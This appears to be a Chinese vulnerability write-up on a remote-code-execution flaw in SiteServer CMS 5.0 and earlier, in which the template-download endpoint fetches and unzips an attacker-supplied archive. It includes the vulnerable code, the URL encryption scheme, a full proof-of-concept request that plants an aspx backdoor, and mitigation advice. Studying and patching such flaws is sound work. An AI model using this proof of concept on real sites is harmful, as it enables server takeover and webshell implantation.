简记野生应急捕获到的siteserver远程模板下载Getshell漏洞
字数 1432 2025-08-18 11:37:57

SiteServer CMS 远程模板下载Getshell漏洞分析报告

漏洞概述

SiteServer CMS(版本5.0及以下)存在一个高危远程代码执行漏洞,攻击者可通过远程模板下载功能实现Getshell。该漏洞源于后台模板下载功能未进行充分的权限校验,且ajaxOtherService.aspx接口的downloadUrl参数可控,导致攻击者可以构造恶意请求下载并自动解压包含后门的模板文件。

漏洞影响

  • 影响版本:SiteServer CMS 5.0及以下版本
  • 漏洞类型:远程代码执行
  • 危害等级:高危
  • 利用条件:无需登录,直接访问特定接口

漏洞分析

攻击流程

  1. 攻击者构造恶意请求访问ajaxOtherService.aspx接口
  2. 指定type=SiteTemplateDownload触发模板下载功能
  3. 通过downloadUrl参数指定远程恶意zip文件的URL
  4. 系统下载并自动解压该zip文件到模板目录
  5. 解压后的恶意文件(如aspx后门)可直接访问执行

关键代码分析

漏洞位于AjaxOtherService.cs文件中的SiteTemplateDownload函数:

public void SiteTemplateDownload(string downloadUrl, string directoryName, string userKeyPrefix)
{
    // 解密downloadUrl
    downloadUrl = TranslateUtils.DecryptStringBySecretKey(downloadUrl);
    
    // 下载并解压远程模板
    SiteTemplateManager.DownloadSiteTemplate(directoryName, downloadUrl);
}

解密过程使用DES算法,密钥从web.config中获取:

public static string DecryptStringBySecretKey(string inputString, string secretKey)
{
    // 替换混淆字符
    inputString = inputString.Replace("0slash0", "/").Replace("0equals0", "=").Replace("0add0", "+");
    
    // DES解密
    byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
    byte[] byKey = Encoding.UTF8.GetBytes(secretKey.Length > 8 ? secretKey.Substring(0, 8) : secretKey);
    var des = new DESCryptoServiceProvider();
    byte[] inputByteArray = Convert.FromBase64String(inputString);
    var ms = new MemoryStream();
    var cs = new CryptoStream(ms, des.CreateDecryptor(byKey, iv), CryptoStreamMode.Write);
    cs.Write(inputByteArray, 0, inputByteArray.Length);
    cs.FlushFinalBlock();
    return Encoding.UTF8.GetString(ms.ToArray());
}

加密/解密过程

  1. 加密过程

    • 原始URL:http://127.0.0.1:99/txt2.zip
    • 使用DES加密(密钥为web.config中的SecretKey
    • Base64编码结果:ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=
    • 混淆处理:将/替换为0slash0=替换为0equals0+替换为0add0
    • 最终downloadUrl参数值:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals0
  2. 解密过程

    • 系统接收到参数后反向替换混淆字符
    • 使用相同的DES密钥解密
    • 获取真实的远程文件URL

漏洞复现

环境准备

  1. 搭建SiteServer CMS 5.0或以下版本
  2. 准备一个包含后门的zip文件并托管在可访问的Web服务器上

利用步骤

  1. 获取SecretKey

    • 从目标站点的web.config文件中获取SecretKey值(如:vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5
  2. 加密恶意URL

    • 使用DES算法加密恶意zip文件URL
    • 进行Base64编码和字符混淆
  3. 构造POC

http://target.com/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals0&directoryName=malicious
  1. 访问POC

    • 成功访问后系统会返回"站点模板下载成功"
    • 恶意zip文件会被下载并自动解压到模板目录
  2. 访问后门

    • 根据zip文件内容访问解压后的后门文件(如:malicious/shell.aspx

防御措施

  1. 官方补丁

    • 升级到SiteServer CMS最新版本
  2. 临时修复方案

    • 限制ajaxOtherService.aspx的访问权限
    • 在Web应用防火墙中添加规则拦截可疑请求
    • 检查并删除可疑的模板文件
  3. 安全建议

    • 定期检查服务器上的异常文件
    • 监控SiteTemplate目录的文件变化
    • 加强服务器日志审计

参考

  • SiteServer CMS官网:https://www.siteserver.cn/
  • 漏洞报告原文:FreeBuf文章(2019-02-12)
SiteServer CMS 远程模板下载Getshell漏洞分析报告 漏洞概述 SiteServer CMS(版本5.0及以下)存在一个高危远程代码执行漏洞,攻击者可通过远程模板下载功能实现Getshell。该漏洞源于后台模板下载功能未进行充分的权限校验,且 ajaxOtherService.aspx 接口的 downloadUrl 参数可控,导致攻击者可以构造恶意请求下载并自动解压包含后门的模板文件。 漏洞影响 影响版本:SiteServer CMS 5.0及以下版本 漏洞类型:远程代码执行 危害等级:高危 利用条件:无需登录,直接访问特定接口 漏洞分析 攻击流程 攻击者构造恶意请求访问 ajaxOtherService.aspx 接口 指定 type=SiteTemplateDownload 触发模板下载功能 通过 downloadUrl 参数指定远程恶意zip文件的URL 系统下载并自动解压该zip文件到模板目录 解压后的恶意文件(如aspx后门)可直接访问执行 关键代码分析 漏洞位于 AjaxOtherService.cs 文件中的 SiteTemplateDownload 函数: 解密过程使用DES算法,密钥从 web.config 中获取: 加密/解密过程 加密过程 : 原始URL: http://127.0.0.1:99/txt2.zip 使用DES加密(密钥为 web.config 中的 SecretKey ) Base64编码结果: ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE= 混淆处理:将 / 替换为 0slash0 , = 替换为 0equals0 , + 替换为 0add0 最终 downloadUrl 参数值: ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals0 解密过程 : 系统接收到参数后反向替换混淆字符 使用相同的DES密钥解密 获取真实的远程文件URL 漏洞复现 环境准备 搭建SiteServer CMS 5.0或以下版本 准备一个包含后门的zip文件并托管在可访问的Web服务器上 利用步骤 获取SecretKey : 从目标站点的 web.config 文件中获取 SecretKey 值(如: vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5 ) 加密恶意URL : 使用DES算法加密恶意zip文件URL 进行Base64编码和字符混淆 构造POC : 访问POC : 成功访问后系统会返回"站点模板下载成功" 恶意zip文件会被下载并自动解压到模板目录 访问后门 : 根据zip文件内容访问解压后的后门文件(如: malicious/shell.aspx ) 防御措施 官方补丁 : 升级到SiteServer CMS最新版本 临时修复方案 : 限制 ajaxOtherService.aspx 的访问权限 在Web应用防火墙中添加规则拦截可疑请求 检查并删除可疑的模板文件 安全建议 : 定期检查服务器上的异常文件 监控 SiteTemplate 目录的文件变化 加强服务器日志审计 参考 SiteServer CMS官网:https://www.siteserver.cn/ 漏洞报告原文:FreeBuf文章(2019-02-12)